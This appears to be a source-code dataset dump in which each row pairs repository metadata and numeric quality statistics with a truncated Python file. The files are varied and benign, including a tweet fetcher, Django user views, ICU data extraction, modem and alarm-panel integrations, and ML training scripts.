phuens/Tweet_Analysis
8d5fca79107bd4af5278a4530ea1131482f49b42
[ "MIT" ]
null
null
null
backend/fetch_tweet.py
phuens/Tweet_Analysis
8d5fca79107bd4af5278a4530ea1131482f49b42
[ "MIT" ]
null
null
null
backend/fetch_tweet.py
phuens/Tweet_Analysis
8d5fca79107bd4af5278a4530ea1131482f49b42
[ "MIT" ]
null
null
null
import json import csv import tweepy from textblob import TextBlob import nltk from nltk.tokenize import word_tokenize def search_for_hashtags(consumer_key, consumer_secret, access_token, access_token_secret, hashtag_phrase): # create authentication for accessing Twitter auth = tweepy.OAuthHandler(consumer_ke...
38.553571
131
0.637332
270
2,159
4.888889
0.381481
0.075
0.064394
0.083333
0.481061
0.443939
0.40303
0.40303
0.40303
0.40303
0
0.017178
0.245021
2,159
55
132
39.254545
0.792638
0.148217
0
0.111111
0
0
0.11694
0.017486
0
0
0
0
0
0
null
null
0
0.166667
null
null
0.055556
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
b1a4e4ea2b00add4c4b415ad7ce218f992351283
536
py
Python
setup.py
msabramo/grr
4b13392528d61a3d42e6c3baa14fa74cc920c055
[ "CC0-1.0" ]
null
null
null
setup.py
msabramo/grr
4b13392528d61a3d42e6c3baa14fa74cc920c055
[ "CC0-1.0" ]
null
null
null
setup.py
msabramo/grr
4b13392528d61a3d42e6c3baa14fa74cc920c055
[ "CC0-1.0" ]
null
null
null
#!/usr/bin/env python3 from setuptools import setup import sys setup( name='grr', version='0.2', author='Kunal Mehta', author_email='legoktm@gmail.com', url='https://github.com/legoktm/grr/', license='CC-0', description='A command-line utility to work with Gerrit', long_description=open...
24.363636
74
0.613806
67
536
4.820896
0.776119
0.012384
0
0
0
0
0
0
0
0
0
0.014354
0.220149
536
21
75
25.52381
0.758373
0.039179
0
0
0
0
0.321012
0
0
0
0
0
0
1
0
true
0
0.105263
0
0.105263
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
b1a5a19351b24a513cab2db62b55e27e8f29e1d1
3,899
py
Python
tests/test_core.py
TheCheapestPixels/panda3d-stageflow
7a049d939dec39e3ac780872bbaba5c25f309397
[ "BSD-3-Clause" ]
3
2020-10-04T18:52:37.000Z
2022-02-21T13:21:45.000Z
tests/test_core.py
TheCheapestPixels/panda3d-stageflow
7a049d939dec39e3ac780872bbaba5c25f309397
[ "BSD-3-Clause" ]
2
2020-05-28T03:33:47.000Z
2020-05-28T03:38:30.000Z
tests/test_core.py
TheCheapestPixels/panda3d-stageflow
7a049d939dec39e3ac780872bbaba5c25f309397
[ "BSD-3-Clause" ]
null
null
null
from stageflow import Flow from stageflow import Stage def test_create_stage(): Stage() def test_create_flow_bare(): flow = Flow() assert flow.get_current_stage() is None assert set(flow.get_stages()) == set([]) def test_create_flow_and_add_stage(): flow = Flow() flow.add_stage('test', St...
24.36875
58
0.616055
478
3,899
4.761506
0.138075
0.075132
0.057118
0.087873
0.651582
0.543497
0.445518
0.434095
0.41696
0.3058
0
0
0.286997
3,899
159
59
24.522013
0.818705
0.036163
0
0.546218
0
0
0.048748
0
0
0
0
0.006289
0.210084
1
0.176471
false
0.058824
0.016807
0
0.243697
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
490a5d4dee030077442db885609423fe0007703e
758
py
Python
cli/cli_cloudformation.py
reneses/cloud-cli
1f765cfb67cb9ffde1633fffe0da11893fb1503f
[ "MIT" ]
null
null
null
cli/cli_cloudformation.py
reneses/cloud-cli
1f765cfb67cb9ffde1633fffe0da11893fb1503f
[ "MIT" ]
null
null
null
cli/cli_cloudformation.py
reneses/cloud-cli
1f765cfb67cb9ffde1633fffe0da11893fb1503f
[ "MIT" ]
null
null
null
from menu import Menu, MenuEntry from logic.cloudformation import CloudFormation class CloudFormationCli: """ Menu for the AWS CloudFormation operations """ def __init__(self): """ Run the menu """ # Init the logic handler self.cloudformation = CloudFormation()...
25.266667
71
0.604222
77
758
5.818182
0.415584
0.140625
0.151786
0.09375
0.129464
0
0
0
0
0
0
0
0.307388
758
29
72
26.137931
0.853333
0.047493
0
0
0
0
0.2
0
0
0
0
0
0
0
null
null
0
0.153846
null
null
0.153846
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
490a7e4e927bf1f9002b7ce41d2b092342ed19da
3,107
py
Python
bot/models/__init__.py
masterbpro/radio-archive
c612cd845d969a6577a3facbdd8183048f8db2de
[ "MIT" ]
null
null
null
bot/models/__init__.py
masterbpro/radio-archive
c612cd845d969a6577a3facbdd8183048f8db2de
[ "MIT" ]
null
null
null
bot/models/__init__.py
masterbpro/radio-archive
c612cd845d969a6577a3facbdd8183048f8db2de
[ "MIT" ]
null
null
null
from datetime import datetime, timedelta from peewee import SqliteDatabase, Model, PrimaryKeyField, IntegerField, CharField, BooleanField, DateTimeField from bot.data.config import STATIC_DIR from bot.utils.logging import logger db = SqliteDatabase(f"{STATIC_DIR}/db.sqlite3") class User(Model): """ Клас оп...
30.762376
111
0.620856
376
3,107
4.981383
0.345745
0.057662
0.03417
0.030432
0.168713
0.103577
0.065136
0
0
0
0
0.004468
0.279691
3,107
100
112
31.07
0.83244
0.193756
0
0.115385
0
0
0.054185
0.022026
0
0
0
0
0
1
0.076923
false
0
0.076923
0
0.538462
0.019231
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
4912467ee29fbe811c78fea1ef046cb9707fcd7e
2,507
py
Python
gdsfactory/components/resistance_sheet.py
simbilod/gdsfactory
4d76db32674c3edb4d16260e3177ee29ef9ce11d
[ "MIT" ]
null
null
null
gdsfactory/components/resistance_sheet.py
simbilod/gdsfactory
4d76db32674c3edb4d16260e3177ee29ef9ce11d
[ "MIT" ]
null
null
null
gdsfactory/components/resistance_sheet.py
simbilod/gdsfactory
4d76db32674c3edb4d16260e3177ee29ef9ce11d
[ "MIT" ]
null
null
null
from functools import partial from gdsfactory.cell import cell from gdsfactory.component import Component from gdsfactory.components.compass import compass from gdsfactory.components.via_stack import via_stack_slab_npp_m3 from gdsfactory.types import ComponentSpec, Floats, LayerSpecs, Optional pad_via_stack_slab_npp ...
28.816092
94
0.643797
331
2,507
4.694864
0.320242
0.045045
0.030888
0.03861
0.184041
0.105534
0.060489
0.060489
0.060489
0
0
0.03663
0.237734
2,507
86
95
29.151163
0.776557
0.265656
0
0.156863
0
0
0.038677
0
0
0
0
0
0
1
0.019608
false
0.058824
0.117647
0
0.156863
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
4913c3ea285b469820f3898e3feff4274634fe9e
494
py
Python
VerifyServer.py
ACueva/Avi-Playground
cb1768999630ed884cff5d40c0faa86d24802754
[ "Apache-2.0" ]
null
null
null
VerifyServer.py
ACueva/Avi-Playground
cb1768999630ed884cff5d40c0faa86d24802754
[ "Apache-2.0" ]
null
null
null
VerifyServer.py
ACueva/Avi-Playground
cb1768999630ed884cff5d40c0faa86d24802754
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python import os import urllib2, json from urlparse import urlparse def ParseURL(agsURL): ags = [] print agsURL ags = urlparse(agsURL) return ags def GetFolders(agsURL): f = urllib2.urlopen(agsURL) j = json.loads(f.read()) for item in j["folders"]: print item ...
21.478261
31
0.61336
66
494
4.590909
0.439394
0.049505
0.092409
0.138614
0.343234
0.165017
0.165017
0.165017
0.165017
0
0
0.008242
0.263158
494
23
32
21.478261
0.824176
0.068826
0
0.222222
0
0
0.037037
0
0
0
0
0
0
0
null
null
0
0.166667
null
null
0.166667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
491871e30f2b60781d5b69aef6ac73571b60d676
19,637
py
Python
homework1/problem3/local/mort_icu.py
criticaldata/hst953-2021
b18c8235a6c878a4a7d3d330a9b69421f0217273
[ "MIT" ]
1
2022-03-15T15:52:45.000Z
2022-03-15T15:52:45.000Z
homework1/problem3/local/mort_icu.py
MDenu/HST-homework
fff0f277ee18735acbe84dfe8c428e92991b28fa
[ "MIT" ]
null
null
null
homework1/problem3/local/mort_icu.py
MDenu/HST-homework
fff0f277ee18735acbe84dfe8c428e92991b28fa
[ "MIT" ]
3
2021-09-10T19:14:54.000Z
2021-09-26T22:23:05.000Z
# Generates the following data files from MIMIC: # adult_icu.gz: data from adult ICUs # n_icu.gz: data from neonatal ICUs # adult_notes.gz: clinical notes from adult ICUs # Import libraries import numpy as np import pandas as pd import psycopg2 from scipy.stats import ks_2samp import os import random # Ouput direct...
41.254202
202
0.685135
2,988
19,637
4.437082
0.186078
0.033188
0.048876
0.045105
0.422688
0.313094
0.262257
0.220697
0.201539
0.183059
0
0.078119
0.204054
19,637
475
203
41.341053
0.770122
0.082192
0
0
1
0
0.212693
0
0
0
0
0.002105
0
1
0.018519
false
0.018519
0.111111
0
0.148148
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
4918f13347223ad7457de28e1dde690394ca0299
2,176
py
Python
bios-token.py
emahear/openusm
96bb62b91f4b5520e14d86ae86e1b320404134e6
[ "MIT" ]
4
2019-08-04T05:50:46.000Z
2020-04-16T19:24:11.000Z
bios-token.py
emahear/openusm
96bb62b91f4b5520e14d86ae86e1b320404134e6
[ "MIT" ]
null
null
null
bios-token.py
emahear/openusm
96bb62b91f4b5520e14d86ae86e1b320404134e6
[ "MIT" ]
6
2019-08-03T12:57:47.000Z
2020-06-08T01:50:43.000Z
import os import argparse def _create_parser(): parser = argparse.ArgumentParser(description='Welcome to Universal Systems Manager' 'Bios Token Change') parser.add_argument('--verbose', help='Turn on verbose logging', ...
32.477612
306
0.552849
272
2,176
4.25
0.323529
0.062284
0.088235
0.038062
0.352941
0.313149
0.313149
0.313149
0.313149
0.313149
0
0.010818
0.320313
2,176
66
307
32.969697
0.770791
0
0
0
0
0.041667
0.370864
0.080882
0
0
0
0
0
0
null
null
0
0.104167
null
null
0.041667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
491cf38094ed0cb56e1412d6daa74c8867a4538f
4,103
py
Python
odoo-13.0/addons/web/models/ir_http.py
VaibhavBhujade/Blockchain-ERP-interoperability
b5190a037fb6615386f7cbad024d51b0abd4ba03
[ "MIT" ]
12
2021-03-26T08:39:40.000Z
2022-03-16T02:20:10.000Z
odoo-13.0/addons/web/models/ir_http.py
VaibhavBhujade/Blockchain-ERP-interoperability
b5190a037fb6615386f7cbad024d51b0abd4ba03
[ "MIT" ]
13
2020-12-20T16:00:21.000Z
2022-03-14T14:55:30.000Z
odoo-13.0/addons/web/models/ir_http.py
VaibhavBhujade/Blockchain-ERP-interoperability
b5190a037fb6615386f7cbad024d51b0abd4ba03
[ "MIT" ]
17
2020-08-31T11:18:49.000Z
2022-02-09T05:57:31.000Z
# -*- coding: utf-8 -*- # Part of Odoo. See LICENSE file for full copyright and licensing details. import hashlib import json from odoo import api, models from odoo.http import request from odoo.tools import ustr from odoo.addons.web.controllers.main import module_boot, HomeStaticTemplateHelpers import odoo class ...
48.845238
172
0.6427
514
4,103
4.931907
0.319066
0.093886
0.073767
0.04497
0.213018
0.17357
0.133333
0.121105
0.082051
0.082051
0
0.002244
0.239825
4,103
83
173
49.433735
0.810516
0.112844
0
0.030769
0
0
0.157532
0.014046
0
0
0
0.012048
0
1
0.061538
false
0
0.107692
0.030769
0.261538
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
4929f7cf615e61de5c4f61ef44c5340e9ac4492a
3,290
py
Python
python/paddle/v2/fluid/tests/book/test_understand_sentiment_conv.py
QingshuChen/Paddle
25a92be3e123ed21fd98c7be6bd7e3a6320756a3
[ "Apache-2.0" ]
null
null
null
python/paddle/v2/fluid/tests/book/test_understand_sentiment_conv.py
QingshuChen/Paddle
25a92be3e123ed21fd98c7be6bd7e3a6320756a3
[ "Apache-2.0" ]
9
2017-09-13T07:39:31.000Z
2017-10-18T05:58:23.000Z
python/paddle/v2/fluid/tests/book/test_understand_sentiment_conv.py
QingshuChen/Paddle
25a92be3e123ed21fd98c7be6bd7e3a6320756a3
[ "Apache-2.0" ]
null
null
null
import numpy as np import paddle.v2 as paddle import paddle.v2.fluid.core as core import paddle.v2.fluid.evaluator as evaluator import paddle.v2.fluid.framework as framework import paddle.v2.fluid.layers as layers import paddle.v2.fluid.nets as nets from paddle.v2.fluid.executor import Executor from paddle.v2.fluid.opt...
32.254902
73
0.620669
449
3,290
4.327394
0.278396
0.032939
0.046835
0.048893
0.116315
0.055584
0.055584
0.055584
0.055584
0.055584
0
0.023112
0.263526
3,290
101
74
32.574257
0.778787
0
0
0.095238
0
0
0.02766
0
0
0
0
0
0
1
0.035714
false
0.059524
0.107143
0
0.166667
0.011905
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
493212d8687f50b52ca98a00b02e9f83e3d17403
247
py
Python
examples/simple/regression/sample_skipped.py
jonwesneski/end2
708c7b96c1086959565e2889a0818451e6e2c931
[ "MIT" ]
null
null
null
examples/simple/regression/sample_skipped.py
jonwesneski/end2
708c7b96c1086959565e2889a0818451e6e2c931
[ "MIT" ]
1
2022-03-12T19:43:00.000Z
2022-03-12T19:43:00.000Z
examples/simple/regression/sample_skipped.py
jonwesneski/end2
708c7b96c1086959565e2889a0818451e6e2c931
[ "MIT" ]
null
null
null
from src import ( RunMode, setup ) __run_mode__ = RunMode.PARALLEL @setup def my_setup(logger): assert False, "FAILING SETUP ON PURPOSE" def test_skipped(logger): assert False, "THIS TEST SHOULD NOT RUN BECAUSE SETUP FAILED"
14.529412
65
0.712551
34
247
4.970588
0.676471
0.142012
0.201183
0
0
0
0
0
0
0
0
0
0.214575
247
16
66
15.4375
0.871134
0
0
0
0
0
0.279352
0
0
0
0
0
0.2
1
0.2
false
0
0.1
0
0.3
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
49373d99cd60462ee40755d32e9fd17e9129e6bd
478
py
Python
jessie_bot/help/help.py
KNNCreative/jessie-bot
de6994b6a58b742f1e943cdfbd84af6c0c183851
[ "MIT" ]
1
2017-08-06T06:08:29.000Z
2017-08-06T06:08:29.000Z
jessie_bot/help/help.py
KNNCreative/jessie-bot
de6994b6a58b742f1e943cdfbd84af6c0c183851
[ "MIT" ]
null
null
null
jessie_bot/help/help.py
KNNCreative/jessie-bot
de6994b6a58b742f1e943cdfbd84af6c0c183851
[ "MIT" ]
null
null
null
import json import logging from pathlib import Path from hermes.common.lex_utils import success, error logger = logging.getLogger(__name__) script_path = Path.cwd().joinpath('hermes/help/script.json') with script_path.open() as f: script = json.load(f) def handler(event, context): help_text = '\n'.join(script['...
22.761905
60
0.719665
68
478
4.794118
0.588235
0.07362
0.116564
0
0
0
0
0
0
0
0
0.002433
0.140167
478
21
61
22.761905
0.790754
0
0
0
0
0
0.087683
0.048017
0
0
0
0
0
1
0.076923
false
0
0.307692
0
0.461538
0.076923
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
49389ecac90c405c9c35bd0a48479aa66ba8e1c6
9,086
py
Python
mod_modPackInformer/source/mod_modPackInformer.py
stealthz67/spoter-mods-1
4ebd859fbb705b085ae5c4cb621edfbab476e378
[ "WTFPL" ]
null
null
null
mod_modPackInformer/source/mod_modPackInformer.py
stealthz67/spoter-mods-1
4ebd859fbb705b085ae5c4cb621edfbab476e378
[ "WTFPL" ]
null
null
null
mod_modPackInformer/source/mod_modPackInformer.py
stealthz67/spoter-mods-1
4ebd859fbb705b085ae5c4cb621edfbab476e378
[ "WTFPL" ]
1
2019-12-10T19:11:55.000Z
2019-12-10T19:11:55.000Z
# -*- coding: utf-8 -*- import json import os import threading import urllib import urllib2 import BigWorld import ResMgr from gui.Scaleform.daapi.view.dialogs import DIALOG_BUTTON_ID, ConfirmDialogButtons, SimpleDialogMeta from gui.Scaleform.daapi.view.lobby.LobbyView import LobbyView from gui import DialogsInterface...
38.5
195
0.575171
907
9,086
5.636163
0.242558
0.032864
0.014085
0.011737
0.281299
0.235133
0.190141
0.178795
0.178795
0.178795
0
0.005153
0.295179
9,086
235
196
38.66383
0.792942
0.023443
0
0.266332
0
0
0.133521
0.021783
0
0
0
0
0
0
null
null
0
0.085427
null
null
0.005025
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
4945214eb5cf61ec5b89774833abf449ace18614
7,845
py
Python
test/unittest/datafinder_test/persistence/metadata/value_mapping/custom_format_test.py
schlauch/DataFinder
958fda4f3064f9f6b2034da396a20ac9d9abd52f
[ "BSD-3-Clause" ]
9
2016-05-25T06:12:52.000Z
2021-04-30T07:22:48.000Z
test/unittest/datafinder_test/persistence/metadata/value_mapping/custom_format_test.py
schlauch/DataFinder
958fda4f3064f9f6b2034da396a20ac9d9abd52f
[ "BSD-3-Clause" ]
6
2016-03-29T13:38:18.000Z
2017-01-18T15:57:42.000Z
test/unittest/datafinder_test/persistence/metadata/value_mapping/custom_format_test.py
schlauch/DataFinder
958fda4f3064f9f6b2034da396a20ac9d9abd52f
[ "BSD-3-Clause" ]
7
2016-06-15T12:01:22.000Z
2022-03-05T08:50:25.000Z
# $Filename$ # $Authors$ # Last Changed: $Date$ $Committer$ $Revision-Id$ # # Copyright (c) 2003-2011, German Aerospace Center (DLR) # # All rights reserved. #Redistribution and use in source and binary forms, with or without #modification, are permitted provided that the following conditions are # #met: # ...
42.405405
88
0.653792
757
7,845
6.67107
0.321004
0.107723
0.130693
0.032673
0.285743
0.186535
0.113861
0.058614
0.026931
0.026931
0
0.026835
0.244742
7,845
184
89
42.63587
0.825485
0.236966
0
0.156863
0
0
0.067003
0.022624
0
0
0
0
0.421569
1
0.166667
false
0
0.068627
0
0.254902
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
1
49477b4b9fb8484c659b6dfe9a98235bbdb4b218
3,629
py
Python
programmers/kakao2022/kakao2022/grader.py
jiyolla/StudyForCodingTestWithDongbinNa
c070829dd9c7b02b139e56511832c4a3b9f5982f
[ "MIT" ]
null
null
null
programmers/kakao2022/kakao2022/grader.py
jiyolla/StudyForCodingTestWithDongbinNa
c070829dd9c7b02b139e56511832c4a3b9f5982f
[ "MIT" ]
null
null
null
programmers/kakao2022/kakao2022/grader.py
jiyolla/StudyForCodingTestWithDongbinNa
c070829dd9c7b02b139e56511832c4a3b9f5982f
[ "MIT" ]
null
null
null
import random from .api import put_change_grade # grades[id] = grade for user #{id}. # grades[0] is not used. Since user id starts from 1. def change_grade_randomshuffle(grades): changed_users_id = set(range(len(grades))) changed_users_id.remove(0) grades = list(range(len(grades))) random.shuffle(g...
36.656566
120
0.673188
497
3,629
4.56338
0.136821
0.110229
0.117284
0.059965
0.681658
0.661817
0.660935
0.655644
0.655644
0.619929
0
0.018776
0.207495
3,629
98
121
37.030612
0.769819
0.032791
0
0.533333
0
0
0.033952
0
0
0
0
0
0
1
0.066667
false
0
0.026667
0
0.093333
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
494cefc1f9462c0538e6c405bcec6cc75cbab494
1,136
py
Python
misc/texteditor.py
disc0nnctd/myPythonCodesDC
378b0cf749124ef8b7f8d70f6f298faa6c9f73de
[ "MIT" ]
1
2017-04-30T18:20:32.000Z
2017-04-30T18:20:32.000Z
misc/texteditor.py
disc0nnctd/myPythonCodesDC
378b0cf749124ef8b7f8d70f6f298faa6c9f73de
[ "MIT" ]
1
2017-04-30T10:09:45.000Z
2017-04-30T12:39:19.000Z
misc/texteditor.py
disc0nnctd/myPythonCodesDC
378b0cf749124ef8b7f8d70f6f298faa6c9f73de
[ "MIT" ]
1
2017-04-30T09:54:08.000Z
2017-04-30T09:54:08.000Z
"""A simple text editor made in Python 2.7.""" from os import path, chdir workingdir = path.join(path.dirname(__file__), 'texts') chdir(workingdir) from Tkinter import Tk, Text, Button import tkFileDialog root = Tk("Text Editor") text = Text(root) text.grid() def saveas(): """Save file.""" tr...
25.244444
73
0.611796
136
1,136
5.051471
0.441176
0.011645
0.052402
0.064047
0.09607
0.09607
0
0
0
0
0
0.020047
0.253521
1,136
44
74
25.818182
0.790094
0.116197
0
0.30303
0
0
0.043478
0
0
0
0
0
0
1
0.060606
false
0.060606
0.090909
0
0.151515
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
4953b0d0a882cec4862d24ffe94ed3594bc14dec
1,816
py
Python
insighioNode/lib/networking/modem/modem_sequans.py
insighio/insighioNode
396b0858ffb265ac66075e8b9d90713ffae7ffb8
[ "MIT" ]
5
2021-06-11T09:03:12.000Z
2021-12-22T09:04:57.000Z
insighioNode/lib/networking/modem/modem_sequans.py
insighio/insighioNode
396b0858ffb265ac66075e8b9d90713ffae7ffb8
[ "MIT" ]
1
2021-06-11T14:15:05.000Z
2021-06-11T14:15:33.000Z
insighioNode/lib/networking/modem/modem_sequans.py
insighio/insighioNode
396b0858ffb265ac66075e8b9d90713ffae7ffb8
[ "MIT" ]
null
null
null
from modem_base import Modem from network import LTE import logging class ModemSequans(Modem): def __init__(self): self.lte = LTE() def power_on(self): self.lte.init() def power_off(self): self.lte.deinit(dettach=True, reset=True) def init(self): return True def...
24.540541
81
0.601872
219
1,816
4.844749
0.342466
0.032988
0.03393
0.024505
0.130066
0.04901
0
0
0
0
0
0.021961
0.297907
1,816
73
82
24.876712
0.810196
0.030286
0
0.038462
0
0
0.022753
0
0
0
0
0
0
1
0.211538
false
0.019231
0.076923
0.076923
0.461538
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
496001f2e20c60b98e9d4d0701aee95ac8df87b1
3,692
py
Python
alarm_control_panel.py
rs1932/homeassistant-ring_alarm_component
b65b8ee1bc7e7408c3bc1adb6fd4e3f4ebf330d6
[ "Apache-2.0" ]
4
2019-09-07T23:15:54.000Z
2020-04-20T22:47:37.000Z
alarm_control_panel.py
rs1932/homeassistant-ring_alarm_component
b65b8ee1bc7e7408c3bc1adb6fd4e3f4ebf330d6
[ "Apache-2.0" ]
3
2019-09-10T00:03:24.000Z
2020-10-02T13:26:08.000Z
alarm_control_panel.py
rs1932/homeassistant-ring_alarm_component
b65b8ee1bc7e7408c3bc1adb6fd4e3f4ebf330d6
[ "Apache-2.0" ]
3
2019-11-19T11:03:01.000Z
2021-05-12T20:11:16.000Z
import logging import pandas as pd from homeassistant.components.alarm_control_panel import ( AlarmControlPanel ) from homeassistant.core import callback from homeassistant.util import convert from .ringalarmdevice import RingAlarmDevice from .constants import * from homeassistant.const import ( STATE_ALARM_...
31.288136
93
0.54117
357
3,692
5.305322
0.243697
0.095037
0.110876
0.06019
0.504752
0.472545
0.467793
0.424498
0.420275
0.404435
0
0
0.377302
3,692
117
94
31.555556
0.823836
0.056609
0
0.538462
0
0
0.040846
0.022596
0
0
0
0
0
1
0.10989
false
0.153846
0.087912
0
0.241758
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
4961cb44515f6694bce4182b84680ae488d272d1
14,882
py
Python
binder/plugins/views/userview.py
asma-oueslati/django-binder
0a16a928664b4be2b2b8e3f5f65c29301f0096fe
[ "MIT" ]
null
null
null
binder/plugins/views/userview.py
asma-oueslati/django-binder
0a16a928664b4be2b2b8e3f5f65c29301f0096fe
[ "MIT" ]
null
null
null
binder/plugins/views/userview.py
asma-oueslati/django-binder
0a16a928664b4be2b2b8e3f5f65c29301f0096fe
[ "MIT" ]
null
null
null
import logging import json from abc import ABCMeta, abstractmethod from django.contrib import auth from django.contrib.auth import update_session_auth_hash, password_validation from django.contrib.auth.tokens import default_token_generator from django.core.exceptions import ValidationError, PermissionDenied from djang...
27.009074
118
0.73216
1,909
14,882
5.546883
0.167627
0.028048
0.019643
0.018888
0.354708
0.312211
0.26197
0.236755
0.210313
0.206346
0
0.001681
0.160731
14,882
550
119
27.058182
0.846117
0.197621
0
0.459732
0
0
0.088969
0.001807
0
0
0
0.001818
0
1
0.080537
false
0.107383
0.067114
0.010067
0.244966
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
49633e3a1fe78865b9e181ac00df94f57d6194b3
3,303
py
Python
plenum/test/plugin/demo_plugin/main.py
SchwiftyRick/indy-plenum
d23b99423eb805971e50446d7e89ada892aa6811
[ "Apache-2.0" ]
null
null
null
plenum/test/plugin/demo_plugin/main.py
SchwiftyRick/indy-plenum
d23b99423eb805971e50446d7e89ada892aa6811
[ "Apache-2.0" ]
1
2021-07-14T17:10:04.000Z
2021-07-14T17:10:04.000Z
plenum/test/plugin/demo_plugin/main.py
SchwiftyRick/indy-plenum
d23b99423eb805971e50446d7e89ada892aa6811
[ "Apache-2.0" ]
2
2021-02-19T15:36:50.000Z
2021-07-20T11:37:54.000Z
from plenum.common.constants import DOMAIN_LEDGER_ID from plenum.server.client_authn import CoreAuthNr from plenum.test.plugin.demo_plugin import AUCTION_LEDGER_ID from plenum.test.plugin.demo_plugin.batch_handlers.auction_batch_handler import AuctionBatchHandler from plenum.test.plugin.demo_plugin.config import get_co...
58.982143
101
0.693612
370
3,303
5.832432
0.235135
0.063021
0.07646
0.074143
0.37164
0.349398
0.263207
0.243744
0.202039
0.12975
0
0
0.247654
3,303
55
102
60.054545
0.86841
0.013321
0
0.06
0
0
0
0
0
0
0
0.018182
0
1
0.02
false
0
0.2
0
0.24
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
496648c5898f258ebf19c8b06ad31502f0290680
5,213
py
Python
biobakery_workflows/document_templates/quality_control_paired_dna_rna.template.py
shbrief/biobakery_workflows
2037f45caa8e4af9a40b5c1d2886cde15bc00381
[ "MIT" ]
1
2020-11-16T20:04:15.000Z
2020-11-16T20:04:15.000Z
biobakery_workflows/document_templates/quality_control_paired_dna_rna.template.py
mlwright97/biobakery_workflows
b3e74f25253d7354bebd02936ac25986281e85d6
[ "MIT" ]
null
null
null
biobakery_workflows/document_templates/quality_control_paired_dna_rna.template.py
mlwright97/biobakery_workflows
b3e74f25253d7354bebd02936ac25986281e85d6
[ "MIT" ]
null
null
null
#+ echo=False import numpy from biobakery_workflows import utilities, visualizations, files from anadama2 import PweaveDocument document=PweaveDocument() # get the variables for this document generation task vars = document.get_vars() # determine the document format pdf_format = True if vars["format"] == "pdf" ...
38.330882
156
0.782851
698
5,213
5.485673
0.121777
0.036563
0.059546
0.037608
0.761557
0.710629
0.558893
0.489423
0.430922
0.390703
0
0.000428
0.103012
5,213
135
157
38.614815
0.818435
0.206407
0
0.148148
0
0
0.153111
0
0
0
0
0
0
1
0
false
0
0.055556
0
0.055556
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
49665a0b0e4dd98e4c598bd1960650361ca30dc7
1,604
py
Python
Other_notebooks/Shapefile_Demo.py
gamedaygeorge/datacube-applications-library
1b6314ee3465f9f17930391a4c241e981a9e200e
[ "Apache-2.0" ]
null
null
null
Other_notebooks/Shapefile_Demo.py
gamedaygeorge/datacube-applications-library
1b6314ee3465f9f17930391a4c241e981a9e200e
[ "Apache-2.0" ]
null
null
null
Other_notebooks/Shapefile_Demo.py
gamedaygeorge/datacube-applications-library
1b6314ee3465f9f17930391a4c241e981a9e200e
[ "Apache-2.0" ]
1
2021-02-25T14:19:05.000Z
2021-02-25T14:19:05.000Z
# Code behind module for Shapefile_Demo.ipynb ################################ ## ## Import Statments ## ################################ # Import standard Python modules import sys import datacube import numpy as np import fiona import xarray as xr from rasterio.features import geometry_mask import shapely from sha...
28.642857
86
0.596633
168
1,604
5.660714
0.482143
0.025237
0.042061
0.056782
0
0
0
0
0
0
0
0.003336
0.252494
1,604
56
87
28.642857
0.789825
0.266209
0
0
0
0
